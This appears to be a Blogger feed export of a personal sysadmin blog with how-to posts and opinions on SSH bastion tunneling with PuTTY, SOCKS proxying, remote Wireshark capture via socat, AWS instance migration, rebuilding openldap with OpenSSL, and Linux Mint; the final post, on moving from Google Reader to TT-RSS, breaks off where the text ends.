tag:blogger.com,1999:blog-71839901767184300932024-03-13T15:06:51.468-04:00blog.mlz.meAndrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.comBlogger25125tag:blogger.com,1999:blog-7183990176718430093.post-34508343521363178772023-03-09T15:38:00.000-05:002023-03-09T15:38:16.745-05:00G Suite legacy free edition retirement - What to do<p>I've had a few of my domains pointed to G Suite since its inception. During that beta period, it was free to try out and anyone who got in then has been able to stay free all this time.</p><p>Months ago I started getting notifications that looked like they were saying it would no longer be free and that I'd have to sign up and start being billed. I didn't really want to pay for this for three domains since they're basically just toy domains, not really doing anything interesting or worthwhile.</p><p>I finally started researching my options and found this little tidbit buried in one of the <a href="https://support.google.com/a/answer/2855120?hl=en" rel="nofollow" target="_blank">G Suite legacy free edition</a> support pages...</p><p style="background-color: white; color: #1f1f1f; font-family: "Google Sans Text", Roboto, "Helvetica Neue", Helvetica, sans-serif; font-size: 16px; letter-spacing: 0.08px; margin: 0.25rem 0px 0.75rem;"><a class="action-button" href="https://admin.google.com/ac/billing/legacytransition" rel="noopener" style="background: rgb(11, 87, 208); border-radius: 0.1875rem; box-shadow: rgba(48, 48, 48, 0.3) 0px 1px 2px 0px, rgba(48, 48, 48, 0.15) 0px 1px 3px 1px; color: white; display: inline-block; font-family: "Google Sans", "Google Sans Text", Roboto, sans-serif; font-size: 0.875rem; letter-spacing: 0rem; line-height: 2.75rem; min-width: 3.375rem; padding: 0px 1rem; text-align: center; text-decoration-line: none; white-space: nowrap;" target="_blank">I used my account for personal use</a></p><p>...this handy little button.</p><p>For non-commercial use, you can still continue for free. You don't have access to any of the premium services, but all the core services (Gmail, Calendar, Drive, Meet, Sites, etc) remain free.</p><p>Now I'm curious as to whether a regular account, not "legacy", could use this option to declare their account is just for personal use as well. 🤔</p><p><br /></p>AHinMainehttp://www.blogger.com/profile/08295310526910361722noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-3083374606581795532020-04-08T06:00:00.001-04:002020-04-09T10:24:49.151-04:00Putty and double bastion host tunnelingI've always found complex ssh tunneling to be a pain in Windows. Unfortunately, I'm stuck with it due to company mandate. This post is as much about sharing the info as it is about documenting it so that I can come back and refer to it when I forget everything here.<br />
<br />
So, the use case is this. You have a host that you have to hop through in order to get to other hosts, but there may be more hosts that you can't get to unless you hop through yet another host.<br />
<br />
For example, if I want to access my Linux workstation at the office, I have to hop through two hosts, my ssh bastion host and from there to another host that also has an IP on the office network, and from there to my desktop.<br />
<br />
Even to experienced tunnelers, that's daunting, especially from Windows.<br />
<br />
So, here goes. Here's what the values in my example mean:<br />
<br />
My workstation: <i>172.16.0.99</i><br />
The public facing bastion host: <i>bastion.example.com</i><br />
The internal server: <i>server1.example.com</i><br />
My username on my workstation: <i>myusername</i><br />
My username when accessing company servers: <i>companyusername</i><br />
My WSL username: <i>myWSLusername</i><br />
<i><br /></i>
<br />
<h2>
Putty Configuration</h2>
<ol>
<li>Create a new session in Putty.</li>
<li>Hostname: <i>172.16.0.99</i></li>
<li>Port: <i>22</i></li>
<li>Category → Connection → Data</li>
<ul>
<li>Auto-login username: <i>myusername</i></li>
</ul>
<li>Category → Connection → Proxy</li>
<ul>
<li>Proxy type: <i>Local</i></li>
<li>Telnet command, or local proxy command:<br /><span style="font-family: "courier new", courier, monospace;"><font size="2">c:\progra~1\putty\plink.exe -ssh -agent -A -l companyusername server1.example.com -nc %host:%port -proxycmd "c:\progra~1\putty\plink.exe companyusername@bastion.example.com -l companyusername -agent -A -nc server1.example.com:22"</font></span></li>
</ul>
<li>Category → Connection → SSH</li>
<ul>
<li><i>Enable compression</i></li>
<li>Notice that I didn't use the compression option -C in my plink commands in the previous step. When tunneling ssh traffic, you should only enable compression in one place so that you're not compressing traffic only to have other segments attempting to compress the already compressed data.</li>
</ul>
<li>Category → Connection → SSH → Auth</li>
<ul>
<li><i>Attempt authentication using Pageant</i></li>
<li><i>Allow agent forwarding</i></li>
</ul>
<li>Category → Connection → SSH → X11</li>
<ul>
<li>With WSL and VcXsrv X Server installed, you can run gui apps</li>
<li>X11 Forwarding: <i>Enable X11 forwarding</i></li>
<li>X display location: <i>127.0.0.1:0.0</i> (Look in VcXsrv server's log to confirm this value.)</li>
<li>Remote X11 authentication protocol: <i>MIT-Magic-Cookie-1</i></li>
<li>X authority file for local display:<br /><i>%LOCALAPPDATA%\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\home\myWSLusername\.Xauthority</i></li>
<li>(You might to run from WSL bash shell <span style="font-family: "courier new", courier, monospace;"><font size="2">xauth generate $DISPLAY</font></span> initially to get the x authority file seeded.)</li>
</ul>
<li>Save new Putty session</li>
<li>Launch new Putty session</li>
</ol>
<div>
There are certainly other ways of doing this that can be a little bit simpler. One of the reasons I used this method is because my bastion host strips X11 traffic. It's not configured for it and doesn't have any of the required x related dependencies needed (xorg-x11-server-utils et. al.). Doing it the way I have creates a tunnel that simply passes all traffic through to the next host keeping me well below the application layer from the perspective of the bastion host.</div>
<div>
<br /></div>
<h2>
Workstation File Access</h2>
<div>
The other advantage to this method is that I can use this same Putty session to make additional ssh tunnels that go right to my workstation. So, in my Putty config detailed above, I also have a local tunnel 20202:172.16.0.99:22 that gives me direct ssh access to my workstation by ssh'ing to 127.0.0.1:20202 here on my laptop.</div>
<div>
<br /></div>
<div>
So, software like WinSCP can now access my workstation over this tunnel and behaves as if it were direct access. I use Mountain Duck, which is not free software. The end result is that it allows me to map a drive right to my Linux workstation at the office from my Windows 10 laptop at home.<br />
<br />
(Additionally, I use the RDP tunneling method described in my <a href="https://blog.mlz.me/2020/04/ssh-socks-proxying-with-putty.html" target="_blank">previous post</a> to make it so that RDP sessions end up originating from my workstation.)</div>
<div>
<br /></div>
<h2>
Limitations</h2>
<div>
While drive/file access works quite well, this is not fast enough to do X11 well at all. So as much as I'd like to run gvim directly from my workstation over the tunnel, it's just not fast enough. </div>
<div>
<br /></div>
<div>
But, having the option to do it was helpful for me. There were a couple apps that I really just needed some of the settings out of so that I could set up the Windows versions of those apps to work the same way.<br />
<br /><h2 style="text-align: left;">
OpenSSH</h2></div><div>I haven't actually explored the capabilities of the OpenSSH that's now included with Windows 10, but regardless, for non-Windows users, note that there is a newer <a href="https://man.openbsd.org/ssh_config.5#ProxyJump" target="_blank">ProxyJump</a> directive. This let's you chain together any number of bastion hosts. So, following my earlier example, you can do something like in an .ssh/config file entry:</div><div><br /></div><blockquote style="border: none; margin: 0 0 0 40px; padding: 0px;"><pre style="text-align: left;"><font size="2"><font face="courier">Host workstation-tunnel<br /></font><span style="font-family: courier;"> ProxyJump companyusername@bastion.example.com,companyusername@server1.example.com<br /></span><span style="font-family: courier;"> Hostname 172.16.0.99<br /></span><span style="font-family: courier;"> User myusername<br /></span><span style="font-family: courier;"> ForwardAgent yes<br /></span><span style="font-family: courier;"> ForwardX11 yes<br /></span><span style="font-family: courier;"> ForwardX11Trusted yes<br /></span><span style="font-family: courier;"> Compress yes<br /></span><span style="font-family: courier;"> PubkeyAuthentication yes</span></font></pre></blockquote><div><br /></div><div>Then you just <font face="courier">ssh workstation-tunnel</font> and you're good!</div>
AHinMainehttp://www.blogger.com/profile/08295310526910361722noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-41218979124016509462020-04-07T09:54:00.000-04:002020-04-07T09:56:10.645-04:00SSH SOCKS Proxying with PuttyI'm writing this during the COVID-19 lockdown. My company's VPN is getting hit really hard since everyone is working from home. Anything we can do to stay off of it is helpful.<br />
<br />
We also keep a host available with SSH exposed publicly (public key auth only). So, I use that host as an SSH SOCKS proxy and it works great for keeping me off the VPN.<br />
<br />
So, if you're in a similar position or simply would like to use SSH as a sort of pseudo-VPN, these instructions might be helpful.<br />
<br />
Non-Windows users can do the same thing, you just need to use the ssh command to connect to the remote host and use the -D parameter. Something like: <span style="font-family: "courier new" , "courier" , monospace;">ssh -D 1337 yourhost</span><br />
<br />
<h2>
Putty Configuration</h2>
<br />
<ol>
<li>Create a new session in Putty</li>
<li>Hostname: <i>yourhost</i></li>
<li>Port: <i>22</i></li>
<li>Go under Category → Connection → Data</li>
<ul>
<li>Auto-login username: <i><your username></i></li>
</ul>
<li>Category → Connection → Proxy</li>
<ul>
<li>Leave this off</li>
</ul>
<li>Category → Connection → SSH</li>
<ul>
<li><i>Enable compression</i></li>
</ul>
<li>Category → Connection → SSH → Auth</li>
<ul>
<li><i>Attempt to authenticate using Pageant</i></li>
<li><i>Allow agent forwarding</i></li>
</ul>
<li>Category → Connection → SSH → Tunnels</li>
<ul>
<li>Source port: <i>1337</i></li>
<li>Destination: <i>yourhost</i></li>
<li>Radio button: <i>Dynamic</i></li>
<li>Click Add</li>
<li>(Just shows <span style="font-family: "courier new" , "courier" , monospace;">D1337</span>, this ok)</li>
</ul>
<li>Save the new Putty session</li>
<li>Launch the new Putty session</li>
</ol>
<h2>
Proxy Configuration</h2>
<div>
Now, to actually use the proxy, you can go a couple ways. Originally, I was doing it the manual way, but I found the Chrome extension <a href="https://github.com/fincham/socks-proxy-extension" target="_blank">SOCKS proxy</a> which works great. It's hassle free and even make it so that DNS requests go over the proxy. The source code is very small and easily reviewed so you can see it's not doing anything nefarious.</div>
<div>
<br /></div>
<div>
If you can't or won't install an extension, here's the manual method.</div>
<div>
<ol>
<li>Run the <span style="font-family: "courier new" , "courier" , monospace;">inetcpl.cpl</span> control panel. (NOT the new Windows 10 Proxy Settings page.)</li>
<li>Go under the <i>Connections</i> tab</li>
<li><i>LAN settings</i> button</li>
<li>Uncheck automatic detection</li>
<li>Check <i>Use a proxy server for your LAN</i></li>
<li><i>Advanced </i>button.</li>
<li>Fill in ONLY the SOCKS information (not http, secure, or ftp. Uncheck Use the same proxy for all protocols)</li>
<ul>
<li>Socks: <i>127.0.0.1</i></li>
<li>Port: <i>1337</i></li>
</ul>
</ol>
<h2>
DNS Considerations</h2>
<div>
Now, if you don't have to worry about resolving any private DNS records, you're good to go. My company has whole zones that aren't resolvable from the public internet. For these, DNS queries have to originate from the company network. Chrome, by default, will not send DNS requests over the SOCKS proxy, so there's an additional step required.</div>
</div>
<div>
<br /></div>
<div>
I suggest copying your existing Chrome icon and giving it a different name. Edit this icon and append to the end of the Target: field, after the final quote (not inside the quotes) the following:</div>
<div>
<br /></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">--proxy-server="socks5://127.0.0.1:1337" --host-resolver-rules="MAP * ~NOTFOUND , EXCLUDE 127.0.0.1"</span></div>
<div>
<br /></div>
<div>
I haven't test it myself, but I've heard that Firefox automatically pushes DNS requests over the proxy.</div>
<div>
<br /></div>
<h2>
Limitations</h2>
<div>
So one of the big limitations of this is that it doesn't really help in a heavy Active Directory environment where your PC has to communicate with things over a domain, such as shared drives.</div>
<div>
<br /></div>
<h3>
RDP</h3>
<div>
However, you can tunnel RDP through your SSH host as well. Configure additional tunnels, one per RDP destination. Back in your new Putty session:</div>
<div>
<br /></div>
<div>
<ul>
<li>Category → Connection → SSH → Tunnels</li>
<li>Source port: <i>38001</i></li>
<ul>
<li>(This is a made up value of no significance. You'll have to make one up for each RDP destination.)</li>
</ul>
<li>Destination: <i>rdphost:3389</i></li>
<li>Relaunch your Putty session</li>
<li>Open RDP</li>
<li>Use the destination address: <i>127.0.0.1:38001</i></li>
<li>Repeat the port forwards with different port numbers for each RDP host you to access.</li>
</ul>
</div>
<div>
<br /></div>
<div>
<br /></div>
AHinMainehttp://www.blogger.com/profile/08295310526910361722noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-55391114780487789812019-10-24T11:51:00.001-04:002020-04-08T15:41:34.126-04:00Using Wireshark on a remote hostIn a large environment, troubleshooting problems with network packet traces usually means you're logged into a remote host running tcpdump. Even after you develop some skill with <a href="https://www.tcpdump.org/manpages/pcap-filter.7.html" target="_blank">pcap-filter syntax</a>, wielding tcpdump is clunky and it usually looks like you're trying to view The Matrix encoded.<br />
<br />
There are other console based tools like tshark, but few of them are as useful and as user-friendly as <a href="https://www.wireshark.org/" target="_blank">Wireshark</a> which can render and parse network packets in an extremely readable and comprehensive fashion.<br />
<br />
The problem is that Wireshark is a graphical interface. Running it on a remote host means you'll have to install it and all supporting dependencies and libraries on the remote host and then ssh X tunneling it back to your desktop. For many reasons, this may not work well. Or, you may not even be able to install Wireshark on the remote host for any number of reasons.<br />
<br />
One workaround used by a lot of people is to capture some network output with tcpdump writing to a file, then fetch that capture file to your desktop and open it up in Wireshark. It's definitely handy that pcap is so portable that this is possible, but this method lacks the ability to watch network traffic in real-time.<br />
<br />
So how can you achieve the holy grail and use Wireshark locally on your desktop to watch live traffic on a remote host?<br />
<br />
Enter <a href="http://www.dest-unreach.org/socat/" target="_blank">socat</a> - Multipurpose relay.<br />
<br />
The socat utility is a swiss army knife of basically all possible types if input/ouput. One of its supported i/o types is named pipes.<br />
<br />
In short, we can use socat as the middleman to read from a remote named pipe to a local named pipe. Then, we take advantage of Wireshark's ability to read right from a named pipe and read that local named file.<br />
<br />
Here's the steps using the example username <i>jsmith</i>, example remote host name <i>srv1</i>, and example network interface name <i>eth0</i>.<br />
<br />
On the remote host:<br />
<br />
<ol>
<li>Create a temp dir for your named pipe file.</li>
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">sudo mkdir /tmp/fifo</span></li>
<li><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">sudo chown jsmith /tmp/fifo</span></li>
<li><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">sudo chmod 700 /tmp/fifo</span></li>
</ul>
<li>Create the named pipe</li>
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">sudo mkfifo /tmp/fifo/pcappipe</span></li>
</ul>
<li>Kick off tcpdump, writing to that pipe.</li>
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">sudo tcpdump -i eth0 -s 0 -U -w /tmp/fifo/pcappipe not port 22</span></li>
</ul>
</ol>
<div>
Notice the temp dir permissions. You need to be able to read the named pipe as the non-root user with which you're going to use to log in.</div>
<div>
<br /></div>
<div>
Also notice the pcap filter 'not port 22'. You can alter this of course, but if you don't specifically exclude your ssh traffic, tcpdump is going to pick up all of the traffic from you being logged in as well as the part where we remotely read from the named pipe which takes place over ssh.</div>
<br />
<br />
Next, on your local desktop, run socat like so:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">socat -b 67108864 \</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> EXEC:"stdbuf -i0 -o0 -e0 ssh -x -C -t srv1 cat /tmp/fifo/pcappipe",pty,raw \</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> PIPE:/home/jsmith/localpcappipe,wronly=1,noatime</span><br />
<br />
This tells socat to ssh into the remote host and cat the named pipe (sending the data to STDOUT). It reads from that and writes it to the named pipe file in your home directory.<br />
<br />
The buffer tuning was important to making it as live as possible as well as more stable. Plus, this can be somewhat of a brittle process and socat can end up crashing easily. The buffer tuning helps make things much more stable and reliable.<br />
<br />
Next, run wireshark, as root.<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">sudo wireshark -s 0 -k -i /home/jsmith/localpcappipe</span><br />
<br />
Profit!<br />
<br />
<br />
Normal ssh rules apply. So, if you can't ssh directly to your remote host, configure your .ssh/config file accordingly.<br />
<br />
I need to tunnel through an intermediary jump host as well, so this is what I do in my .ssh/config file:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Host srv1</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> ProxyCommand ssh jumpsrv1 /usr/bin/nc %h 22</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> User jsmith</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> IdentityFile ~/.ssh/id_rsa</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Compression yes</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> PubkeyAuthentication yes</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Port 22</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Protocol 2</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> EscapeChar none</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> ServerAliveInterval 30</span><br />
<br />
(I know I know, there's a new ProxyJump directive... I don't change my .ssh/config that often.)Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-64871597225593475072014-09-01T01:29:00.001-04:002014-09-01T01:29:34.855-04:00Amazon AWS free tier: Converting from a t1.micro to t2.micro<br />
Just finished "converting" my t1.micro instance where I run my TT-RSS server to a t2.micro. Recently, I discovered that it was $5 cheaper per month. Doing it was almost not worth the trouble, however. Hopefully this can save you some time.<br />
<br />
I quickly discovered that I couldn't even think about spinning up a t2.micro without having a "default vpc" it told me. What I discovered was that I was one of these weird accounts documented here "<a href="http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/default-vpc.html#default-vpc-basics">Your Default VPC and Subnet</a>" where I fell in the 3rd mentioned date range.<br />
<br />
Since it was so ambiguous, I wasted quite a bit of time trying to
convert my old instance to a t2 using the old volume or at least an
image from it. I seemed to have a default VPC, but it wasn't a real one apparently. Poking at it with the aws cli tools indeed showed me that I couldn't affect the underlying "IsDefault" attribute of the VPC. It was false, and there was no way I was getting it flipped to true. Nor was there any way I could apparently strip the support for "EC2
Classic" mode as they called it. I fell into that window of time where
they were trying to please everyone and it end up being a royal pain.<br /><br />
I ended up following a suggestion in one of the Amazon or Bitnami documentation where I would need to fully deleted my AWS account and everything inside it and started over with a fresh account.<br />
<br />
Having finally accepted this inevitability, the process became quite simple.<br />
<br />First, I updated TT-RSS to the latest version and made sure it was working to reduce the possibility of any issues related to my being two version behind. Then I dumped the database to a local directory on my laptop. Then I made a backup of the entire htdocs directory where TT-RSS lived, just in case. Then, I completely burned down my Amazon AWS account and created a new account, including new MFA and API token credentials.<br />
<br />
Headed back over to Bitnami, plugged in the new Amazon account details, and told it to create a new TT-RSS instance using a t2.micro instance. After a few minutes, it was up and running. So I took a backup of the stock bitnami tt-rss database from mysql, then dropped it. From my previous TT-RSS dump, the database was actually named differently, so I renamed it in the config.php file for TT-RSS and pointed it to the new db name. Restarted everything. Voila. Logged in with my old creds. All feeds and settings were in perfect condition.<br />
<br />
It's actually noticeably faster as well. The new SSD volume type definitely makes a difference, not that I was frustrated by its performance beforehand.<br />
<br />
Since my initial goal in this was simply to reduce monthly payment from $15 to $10 per month, I was surprised to see that, having created a brand new AWS account (and even though I didn't fudge any of my account details, same address, same cc#, everything), I'm once again eligible for the free tier for the next year.Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-82022137940321976752013-09-20T09:35:00.001-04:002013-09-20T09:48:08.694-04:00TLS: warning: cacertdir not implemented for gnutlsI got this error recently while trying to use ldap utilities and libraries. In the debug output from an ldapsearch, I noticed the distinct error:
<br />
<blockquote>
<b>TLS: warning: cacertdir not implemented for gnutls
</b></blockquote>
This error comes up when you try and use the <code>TLS_CACERTDIR</code> directive in your ldap configuration. Googling for answers was somewhat fruitless, the first complaints of the problem started many years ago. People said it happened when the openldap packages were compiled against gnutls instead of openssl, which apparently does not support the tls_cacertdir option. The general consensus was therefor to not use that directive.
<br />
<br />
I didn't turn up anything about a fix. The current versions of the openldap packages are still broken all these years later. Although I expected to fail (there had to be reason no one did this before, right??) I tried the obvious solution and it worked.
<br />
<br />
<pre>$ mkdir /tmp/openldap
$ cd !$
$ sudo apt-get source openldap
$ sudo apt-get build-dep openldap
$ sudo apt-get install libssl-dev
$ sudo vim openldap-2.4.31/debian/configure.options
</pre>
<br />
Change <tt>--with-tls=gnutls</tt> to <tt>--with-tls=openssl</tt>
<br />
<tt><br /></tt>
<pre>$ sudo apt-get -b --no-download source openldap
</pre>
<br />
Go have some lunch, mow the lawn, maybe a pub crawl. The amount incredible amount of hardcore testing that's been integrated into the build process is amazing, but it takes a while.
<br />
<br />
<pre>$ sudo dpkg --install ldap-utils_2.4.31-1ubuntu2.1_amd64.deb \
libldap-2.4-2_2.4.31-1ubuntu2.1_amd64.deb \
libldap2-dev_2.4.31-1ubuntu2.1_amd64.deb
$ ldapsearch -LLL -h ldap-server.example.com -D uid=andy,ou=foo,dc=example,dc=com -b dc=example,dc=com -ZZ -W uid=andy cn
Enter LDAP Password:
dn: uid=andy,ou=foo,dc=example,dc=com
cn: Andy Harrison</pre>
<p>
The other applications I was using that relied on the ldap libraries started working immediately as well.
</p>Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-14373790206438598892013-08-23T12:36:00.002-04:002013-08-23T12:36:50.405-04:00Linux Mint Olivia - 1 week later...A follow up to my last post <a href="http://blog.mlz.me/2013/08/linux-mint-15-olive-observations.html">Linux Mint 15 Olivia - Observations</a>...
<br />
<br />
<h1>
The Good
</h1>
<blockquote>
<h2>
Xorg/KDE
</h2>
Xorg has been working beautifully. No memory leaks. No squirrelly issues in performance or attitude. I haven't even had to blow away my $HOME/.kde/share/config/plasma* files even once!
<br />
<h2>
Packaging
</h2>
I think I finally started to make friends with the packaging system. The stock 'screen' package is left hamstrung with a MAXWIN value of 40. I can't live within the confines of only 40 so this was my catalyst for making this a priority and figuring out. I finally found some decent docs so that I could download the src-deb, extract, fix, compile, repackage, install. Not only that, but there was another package I needed to tweak and it was super easy to download the binary deb file, extract, fix, repackage, install.
</blockquote>
<h1>
The Bad
</h1>
<blockquote>
<h2>
Seriously?
</h2>
Also thanks to the Mint teams priorities, I quickly noticed that after fixing your default search engine in Firefox, the search autocomplete is broken.<br />
If Aerobie Inc. paid Tesla Motors to replace the steering wheel in their vehicles with an Aerobie, do you think they should do it? After all, Tesla needs the money, so shouldn't they do it? Because it's such a great idea to have the primary means in which you steer your vehicle be a product that people used to have a little fun with a long time ago. Not only that, but let's make sure if people try to fix the mistake and switch to a real steering wheel, that it won't turn all the way.
<br />
#FAIL
<br />
<h2>
Other missing package nits...</h2>
The curl package isn't installed by default. Seriously. No, I'm not kidding.
<br />
Less ridiculous exclusions that you can find in every other distro, no 'lynx' (which only old farts like me use anyway), 'pcregrep' and friends, 'mc' (again, an old fart utility) and 'whois' (ok, I work at an isp, obviously that would only be important to me).
</blockquote>
Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-51491832887024765682013-08-15T20:34:00.001-04:002013-08-23T11:57:32.694-04:00Linux Mint 15 Olivia - ObservationsI've been an <a href="http://opensuse.org/" target="_blank">opensuse</a> user for the last several years and usually really enjoy running it as my workstation's desktop operating system. But, as the 12.1 repos have started to unceremoniously vanish from existence, I've finally decided that enough is enough. I had been thinking about possibly another rpm based distro or even going in a completely different direction (like Arch) while avoiding any Debian based distro, but Mint has held such a commanding lead on <a href="http://distrowatch.com/dwres.php?resource=popularity">distrowatch.com</a> for such a long time, I thought it might be worth taking a look.
<br />
<br />
Here's some observations from the first few days.
<br />
<br />
<h2>
The Good</h2>
<blockquote>
<h3>
Xorg</h3>
My Xorg memory leaks aren't present in this version. This represents about 1/3rd of the reason I started looking outside my normal opensuse comfort zone.
</blockquote>
<br />
<blockquote>
<h3>
KDE</h3>
Mint's KDE 4.10 environment is fast. So far I haven't even gone in and shut off all the silly animations and junk. Normally, however slight the amount, these things interfere enough so that it's obvious I'm spending time waiting for animations to draw when I could be already clicked onto the next step. The animations on Mint seems so well tuned that there's actually some benefit to having the animations enabled. Otherwise, the transitions are so fast you have to almost stop and evaluate whether you clicked something and an action actually took place.
</blockquote>
<br />
<blockquote>
<h3>
VMware</h3>
VMware Workstation 9.02 installed and ran perfectly right out of the gate. Stock install, didn't have to go and fetch linux kernel header packages or anything.
</blockquote>
<br />
<blockquote>
<h3>
aptitude</h3>
I missed aptitude. I gave Ubuntu (kubuntu, specifically) a try many years ago and generally didn't like it. Traditionally I'm a Red Hat derivative guy, and moving to a Debian derivative was a little shocking. But aptitude was such nice piece of curses based package management. I found myself opening a shell window to install packages instead of using the gui package managers and I may continue this with Mint.
</blockquote>
<br />
<blockquote>
<h3>
repos</h3>
Speaking of aptitude, the stock set of repos with Mint are fairly well rounded.
<br />
When I go into the main Mint repo in a browser, I see the last 11 versions of Mint. This represents the other 2/3rds of the reason I'm giving up on opensuse. I'm incredibly sick and tired of having my repos dry up and vanish on me every couple of point revs. I'm done being forced to do a full OS upgrade of a perfectly working desktop just because someone's OCD is preventing intelligent repo management. The 'zypper dup' upgrades may work for some folks, but they never, ever, ever work as expected for me. Doing a 'zypper dup' is always an 8 or more hour ordeal for me.
</blockquote>
<br />
<blockquote>
<h3>
Java</h3>
Java works a bit better. I work on a large amount of HP enterprise class hardware. Unfortunately, doing away with Java is not an option for me because of the iLO management interface. While not perfect, the Java support is definitely better and I can reasonably expect it to work when I open up a remote console window.
</blockquote>
<h2>
The Bad</h2>
<blockquote>
<h3>
Seriously?</h3>
Firefox default search engine is Yahoo. Google isn't even present as an option in the drop-down choices. This says a lot about Mint's priorities. Spoiler alert: it isn't you.
</blockquote>
<br />
<blockquote>
<h3>
Let's all pretend VLAN's don't exist.</h3>
If your only network connection requires VLAN tagging, you will have <b>*no*</b> internet access during the installation.
</blockquote>
<br />
<blockquote>
The Network Settings panel hasn't the faintest hint of VLAN support (before <i>or</i> after installation). If your installation is already underway, maybe you can use your mobile phone to Google how to set up VLAN tagging. Otherwise, hopefully you looked up how to configure VLAN tagging before starting to install Mint. The process of configuring VLAN's is obscure and stupid, similar to an enterprise Linux distro, definitely not what you'd expect from a premiere desktop Linux distribution. And since VLAN's don't exist in Mint's world and consequently do not appear in documentation, you'll have to take an educated guess on how to add them to the <tt>/etc/network/interfaces</tt> file. After you've finally figured out that the appropriate file to edit is <tt>/etc/network interfaces</tt>, that is.
</blockquote>
<br />
<blockquote>
I tried setting my physical ethernet interface to "link-local" just to get it out of the way of my VLAN interfaces while keeping it active. This vaporizes the ability to configure your dns servers. Even if you had used the Network Settings panel to configure dns servers previously, it quietly deletes them and replaces them with opendns. On the plus side, the Network Settings panel doesn't complain if you set your ethernet interface to "manual" and then leave everything blank except the dns servers.
</blockquote>
<br />
<blockquote>
VLAN network interfaces *never* show up in the Network Settings panel. You're 100% command line and text file editing to manage your VLAN interfaces.
</blockquote>
<br />
<blockquote>
<h3>
EFI (and GPT)</h3>
EFI support is terrible. Almost everyone's is, Mint's is just worse.
</blockquote>
<br />
<blockquote>
With EFI present, it is <b>not</b> possible to complete the installation without an internet connection. Period. Even if you open a shell and manually preinstall the necessary packages (which *are* present on the live iso), the installer is hard coded to download the EFI related packages from the online public repos. It never even bothers to check if those packages are already installed, nor does it try to install them from the iso. Since VLAN's don't exist in Mint's world, if your only network connection requires VLAN tagging, you're completely out of luck. For that matter, if for <b>any</b> other reason you don't have internet access during the install, you're completely out of luck if you booted from the EFI loader.
</blockquote>
<br />
<blockquote>
Also absent are GPT partition management utilities. In general, it seems like it would be best if you just didn't start the Mint install until you'd already burned a bootable image of Parted Magic in preparation for having to do any partition editing.
</blockquote>
<br />
<blockquote>
<h3>
tail</h3>
During install, the tail command does not work at all. Nor tailf. It shows you the last few lines of the file and just sits there with its thumb up its ass. I found a forum post where someone mentioned this issue a year (and a few Mint versions) or so ago with no response. I don't really like using less and its "F" function to follow files, but at least it works.
</blockquote>
<br />
<blockquote>
<h3>
ssh</h3>
sshd host keys don't get generated. If you're expecting to immediately be able to ssh into your newly installed Mint host, forget it. There may be an official and proper way of doing this, but fortunately I had saved my host keys from my last Linux desktop distro so I just restored those right into place with no fuss.
</blockquote>
<br />
<blockquote>
<h3>
Minor missing package nits:</h3>
gnu screen<br />
socat<br />
kgpg</blockquote>
<br />
<blockquote>
<h3>
Some popular but missing packages...</h3>
Try installing taskjuggler. Go ahead. With no ruby knowledge. Just try it.
<br />
Despite the well rounded stock repos, once going outside their scope, I feel like I'm really up the creek. Being an rpm guy, though familiar with package management in general, normally I know exactly what to do in any situation. Everything from how to find the difficult-to-find packages, to porting source rpm files from other distros, to building my own packages from the spec up I have no problem handling. I've even automated building Solaris packages on my own. I'm no stranger to this. Yet every time I go looking for HOWTO docs on deb packages, I feel like I'm looking at VCR schematics when generally all I want to do is stop the time from flashing 12:00.
</blockquote>
Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-71459510792742326642013-05-25T17:21:00.002-04:002013-05-25T17:33:17.853-04:00Google Reader to TT-RSS - coping with 3rd party apps and servicesHere's a guide to replacing Google Reader with <a href="http://tt-rss.org/" target="_blank">Tiny Tiny RSS</a>, but with more detail on the greater tragedy (travesty?) of Google's continued bulldozing of open internet standards with the termination of Reader, the interaction with other services and software on which we used to depend. I'm starting with a couple of simple but important services, though I'd like to flesh this out over time.<br />
<div>
<br /></div>
<h2>
Infrastructure</h2>
<div>
The problem we all face isn't installing the software (granted, TT-RSS is a non-trivial install, but I consider that to be outside the scope of this guide). The problem we face is the need for hosting. And most of the hosting solutions that will meet our needs require us to configure a hosted server of some kind.</div>
<div>
<div>
<br /></div>
<div>
